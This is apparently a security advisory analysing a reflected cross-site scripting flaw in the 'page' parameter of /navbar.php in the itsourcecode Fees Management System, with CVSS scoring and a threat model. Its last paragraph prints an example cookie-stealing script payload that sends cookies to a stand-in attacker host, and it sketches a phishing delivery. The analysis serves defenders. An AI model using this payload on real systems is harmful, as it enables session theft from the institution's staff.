Fees Management System EUVD-2026-34261

The victim must be induced to click a specially crafted URL - exploitation is not possible without this user interaction (UI:R in CVSS vector), which limits automated or worm-style attacks. No authentication is required from the attacker (PR:N), meaning any unauthenticated remote party can construct the malicious URL. The specific vulnerable condition is the unsanitized reflection of the 'page' parameter in /navbar.php - this file and parameter must be accessible and reachable over the network. Exploitation impact is restricted to script injection in the victim's browser session within the application's origin (S:U, scope unchanged), so the attacker cannot directly pivot to the server or other origins. Higher-value attacks (session hijacking, credential theft) require the victim to be authenticated at the time of click, which is not guaranteed but is the realistic target scenario for an educational institution's administrative interface.

The CVSS base score of 4.3 (Medium) reflects a network-accessible (AV:N), low-complexity (AC:L), unauthenticated (PR:N) attack that nonetheless requires user interaction (UI:R) and has limited impact (I:L integrity only, S:U scope unchanged, no confidentiality or availability impact). The temporal modifier E:P confirms public POC code exists, modestly elevating real-world exploitability above the base score. No KEV listing means active exploitation has not been confirmed by CISA. EPSS data was not provided in the source intelligence, so precise exploitation probability cannot be quantified. The realistic threat model is a targeted phishing scenario rather than automated mass exploitation - the UI:R requirement prevents drive-by or autonomous scanning. This is a genuine medium-severity finding for any school or institution running this software publicly, but the limited scope (no session hijacking guaranteed without additional attack steps, integrity-only impact) means it does not represent a critical priority compared to authentication bypass or RCE vulnerabilities on the same system. The absence of a vendor patch (RL:X) is a notable risk amplifier.

An attacker identifies a school or institution running the itsourcecode Fees Management System publicly, crafts a URL embedding a JavaScript payload in the 'page' parameter targeting /navbar.php (e.g., /navbar.php?page=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>), and delivers this link to a logged-in administrator or staff member via phishing email. When the victim clicks the link and their browser renders the unencoded parameter, the injected script executes in the context of the application's origin. A publicly available POC (referenced at the GitHub issue in the advisory) confirms this attack path is already documented.